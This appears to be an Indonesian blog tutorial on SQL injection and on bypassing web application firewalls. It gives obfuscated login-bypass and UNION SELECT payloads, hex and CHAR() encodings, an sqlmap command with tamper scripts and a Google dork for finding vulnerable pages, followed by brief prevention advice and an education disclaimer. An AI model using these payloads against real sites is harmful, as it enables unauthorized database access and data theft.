Pendahuluan
SQL Injection (SQLi) masih menjadi salah satu celah keamanan paling umum dan berbahaya di aplikasi web. Meskipun banyak sistem sekarang dilindungi oleh Web Application Firewall (WAF), penyerang modern terus mengembangkan teknik baru untuk menghindari deteksi dan tetap menyusup ke sistem. Artikel ini membahas SQLi modern beserta teknik bypass WAF.
1. SQL Injection Dasar
SQLi terjadi saat input pengguna dimasukkan ke dalam query SQL tanpa validasi. Contoh sederhana:
SELECT * FROM users WHERE username = '$input';
Jika $input
diisi: admin' --
, maka query menjadi:
SELECT * FROM users WHERE username = 'admin' --';
Yang menyebabkan bypass autentikasi.
2. Tipe SQL Injection
- Boolean-Based Blind
- Time-Based Blind
- Error-Based
- Union-Based
- Stacked Queries
3. Teknik Bypass WAF
WAF mengenali pola SQLi umum. Berikut cara menghindarinya:
a. Obfuscation Payload
Mengacak struktur query:
admin'/**/OR/**/1=1--
Atau:
admin'%a0OR%a01=1--
b. Case Alteration
Mengganti huruf besar/kecil:
UNION SeLEcT 1,2,3--
c. Hex Encoding
Mengubah string menjadi hex:
SELECT * FROM users WHERE username = 0x61646d696e;
d. String Concatenation
Membuat query lebih dinamis:
' + 'UNION' + ' SELECT 1,2,3--
e. Comment Injection
Menyembunyikan bagian dari query:
admin'/*comment*/OR/*test*/1=1--
f. Inline Functions dan Aliases
Menghindari keyword deteksi:
SELECT/**/1,version()/**/FROM/**/dual;
g. Bypass dengan CHAR()
Mengubah string menjadi CHAR kode ASCII:
UNION SELECT CHAR(97,100,109,105,110)--
Tools: evasionsniper
4. Advanced Bypass dengan SQLMAP
Gunakan SQLMap dengan opsi bypass:
sqlmap -u "http://target.com?id=1" --random-agent --tamper=space2comment,between
Beberapa tamper scripts:
space2comment
charencode
between
equaltolike
unmagicquotes
5. Menemukan Endpoint Rentan
Tools:
- Dorking Google:
inurl:index.php?id=
- Burp Suite Repeater
- OWASP ZAP
6. Pencegahan SQLi
Sebagai defender:
- Gunakan prepared statements (PDO, mysqli)
- Validasi dan filter input
- Hindari query dinamis
- Gunakan WAF sebagai lapisan tambahan, bukan utama
Penutup
Teknik SQLi modern menuntut pemahaman lebih dalam terhadap bagaimana query SQL dibentuk dan bagaimana WAF bekerja. Dengan pemanfaatan encoding, obfuscation, dan automasi tools seperti SQLMap, penyerang bisa menghindari filter dan tetap mengeksploitasi sistem. Gunakan ilmu ini untuk memperkuat sistem, bukan untuk menyerang secara ilegal.
Disclaimer: Artikel ini dibuat untuk tujuan edukasi dan pembelajaran keamanan informasi.
Posting Komentar